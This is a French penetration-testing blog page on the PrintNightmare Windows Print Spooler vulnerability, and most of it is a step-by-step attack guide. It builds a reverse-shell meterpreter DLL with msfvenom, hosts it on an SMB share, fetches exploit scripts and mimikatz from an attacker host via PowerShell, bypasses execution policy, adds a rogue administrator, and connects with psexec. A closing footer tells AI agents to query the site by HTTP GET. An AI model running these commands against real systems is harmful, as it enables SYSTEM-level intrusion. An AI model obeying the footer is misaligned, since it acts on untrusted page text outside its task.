# PrintNightmare

Print Spooler est sur le radar des chercheurs depuis que le ver Stuxnet a utilisé la vulnérabilité d'escalade de privilèges du spooler d'impression pour se propager à travers le réseau dans les centrifugeuses d'enrichissement nucléaire de l'Iran et a infecté plus de 45 000 réseaux. PrintNightmare est le nom commun donné à une vulnérabilité d'exécution de code à distance dans le service Print Spooler (spoolsv.exe) dans les systèmes d'exploitation Microsoft Windows. La vulnérabilité a été attribuée CVE-2021-34527. Initialement, il était considéré comme une escalade de privilèges locaux (LPE) et attribué CVE-2021-1675. Des correctifs immédiats pour le LPE ont été publiés en juin 2021 et étaient marqués comme étant de faible gravité. Environ 2 semaines plus tard, Microsoft a changé le statut de faible gravité de LPE en sévère car il a été constaté que les correctifs avaient été contournés et que l'exécution de code à distance avait atteint la CVE-2021-34527 attribuée. Il y a eu une controverse après un malentendu entre les auteurs et Microsoft où l'exploit RCE a été publié sur GitHub avant les correctifs, ce qui en fait une vulnérabilité 0-day. Cependant, il a été immédiatement annulé. Dans cet article, nous nous concentrerons sur l'escalade de privilèges à l'aide de cette vulnérabilité du spouleur d'impression. La traction qu'il a obtenue en 2021 en a fait la vulnérabilité de l'année.

## Versions concernées

[**CVE-2021-34527**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-34527)

Windows\_10:20h2, Windows\_10:21h1, Windows\_10:1607,

Windows\_10:1809, Windows\_10:1909, Windows\_10:2004,

Windows\_7sp1, Windows\_8.1, Windows\_rt\_8.1,

Windows\_Server\_2008, Windows\_Server\_2008,

Windows\_Server\_2012, Windows\_Server\_2012:r2,

Windows\_Server\_2016, Windows\_Server\_2016:20h2,

Windows\_Server\_2016:2004, Windows\_Server\_2019

[**CVE-2021-1675**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-1675)

Windows\_10:20h2, Windows\_10:21h1, Windows\_10:1607,

Windows\_10:1809, Windows\_10:1909, Windows\_10:2004,

Windows\_7sp1, Windows\_8.1, Windows\_rt\_8.1,

Windows\_Server\_2008, Windows\_Server\_2008,

Windows\_Server\_2012, Windows\_Server\_2012:r2,

Windows\_Server\_2016, Windows\_Server\_2016:20h2,

Windows\_Server\_2016:2004, Windows\_Server\_2019

## Exploitation

### Méthode 1 - RCE avec python

Il s'agit de la méthode relative à CVE-2021-34527 (exécution de code à distance en tant qu'administrateur).

#### Vérification de la vulnérabilité

```bash
msf6 > use auxiliary/admin/dcerpc/cve_2021_1675_printnightmare
msf6 auxiliary(admin/dcerpc/cve_2021_1675_printnightmare) > set rhosts <target IP>
msf6 auxiliary(admin/dcerpc/cve_2021_1675_printnightmare) > set SMBUser <utilisateur>
msf6 auxiliary(admin/dcerpc/cve_2021_1675_printnightmare) > set SMBPass <password>
msf6 auxiliary(admin/dcerpc/cve_2021_1675_printnightmare) > set dll_path <path>
msf6 auxiliary(admin/dcerpc/cve_2021_1675_printnightmare) > exploit
```

Si la cible est vulnérable:

Tout d'abord, nous devons créer un fichier DLL malveillant qui s'exécutera en tant qu'ADMINISTRATEUR. Nous utilisons msfvenom pour cela.

*`$ msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=<attacker IP> lport=<port d'écoute> -f dll -o evil.dll`*

Ensuite, nous devons ouvrir un multi handler sur notre machine pour recevoir le reverse shell.

```bash
use multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST <attacker IP>
set LPORT <port d'écoute>
exploit
```

Maintenant, nous devons cloner le dépôt github.

```bash
git clone https://github.com/nemo-wq/PrintNightmare-CVE-2021-34527
cd PrintNightmare-CVE-2021-34527
chmod 777 CVE-2021-34527. py
```

Une dernière étape restante consiste à héberger la DLL malveillante dans notre serveur SAMBA. Vous pouvez configurer manuellement un serveur samba dans Kali, utiliser l'hôte Windows pour l'héberger ou l'approche la plus simple consiste à utiliser le serveur smb d'impacket.

Ajoutez le nom de partage que vous voulez (dans mon cas, "partage") puis indiquez le chemin où vous avez enregistré la DLL malveillante.

*`$ python3 /usr/share/doc/python3-impacket/examples/smbserver.py partage /root`*

Il ne reste à présent plus qu'à lancer l'exploit.

*`$ ./CVE-2021-34527.py <username>:<password>@<target IP> '\\<attacker IP>\partage\evil.dll'`*

Si tout se passe bien, nous devrions avoir reçu une session meterpreter avec les droits NT AUTHORITY\SYSTEM sur notre multi handler.

### Méthode 2 - PrintNightmare LPE avec Powershell

Nous avons vu l'exploit distant relatif à CVE 2021-34527. Maintenant, nous allons voir l'ancien exploit d'escalade de privilèges locaux.

```bash
# Téléchargement exploit
git clone https://github.com/calebstewart/CVE-2021-1675.git
cd CVE-2021-1675 && ls -al
```

Il faut ensuite créer un serveur http pour y placer l'exploit.

```bash
python -m http.server 80
```

On va ensuite télécharger l'exploit depuis la machine cible comme ceci:

```powershell
> powershell wget http://<attacker IP>/CVE-2021-1675.ps1 -O \Users\Public\cve.ps1
> cd C:\Users\Public
C:\Users\Public> dir
```

On doit donc normalement retrouver le fichier cve.ps1.

On peut donc maintenant lancer l'exploit.

```powershell
C:\Users\Public> powershell -ep bypass
C:\Users\Public> Import-Module .\cve.ps1
C:\Users\Public> Invoke-Nightmare -NewUser "<username>" -NewPassword "<password>" -DriverName "PrintMe"
```

Normalement la dll crée a du ajouter un nouvel utilisateur, on peut le vérifier avec la commande *`>net localgroup administrators`*

Si tout s'est bien passé, on peut alors se connecter sur cet utilisateur à l'aide de psexec.

*`$ python3 psexec.py <username>:<password>@<target IP>`*

### Méthode 3 - PrintNightmare LPE avec Mimikatz

Sur notre machine:

créer le payload evil.dll et le mettre dans un server SMB puis ouvrir un multi handler

```bash
use multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST <attacker IP>
set LPORT <port d'écoute>
exploit
```

Sur la machine cible:

```powershell
> powershell wget http://<attacker IP>/mimikatz.exe -O \users\Public\mimikatz.exe
> cd C:\users\Public
C:\users\Public> mimikatz.exe

mimikatz# misc::printnightmare /library:\\<attacker IP>\partage\evil.dll /authuser:<username> /authpass:<password> /try:50
```

Si tout se passe bien, nous devrions avoir reçu une session meterpreter avec les droits NT AUTHORITY\SYSTEM sur notre multi handler.

## CVE-2021-1675.py

ressource: <https://github.com/cube0x0/CVE-2021-1675>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://blog.s1rn3tz.ovh/post-exploitation/enumeration-elevation-de-privileges/windows/printnightmare.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
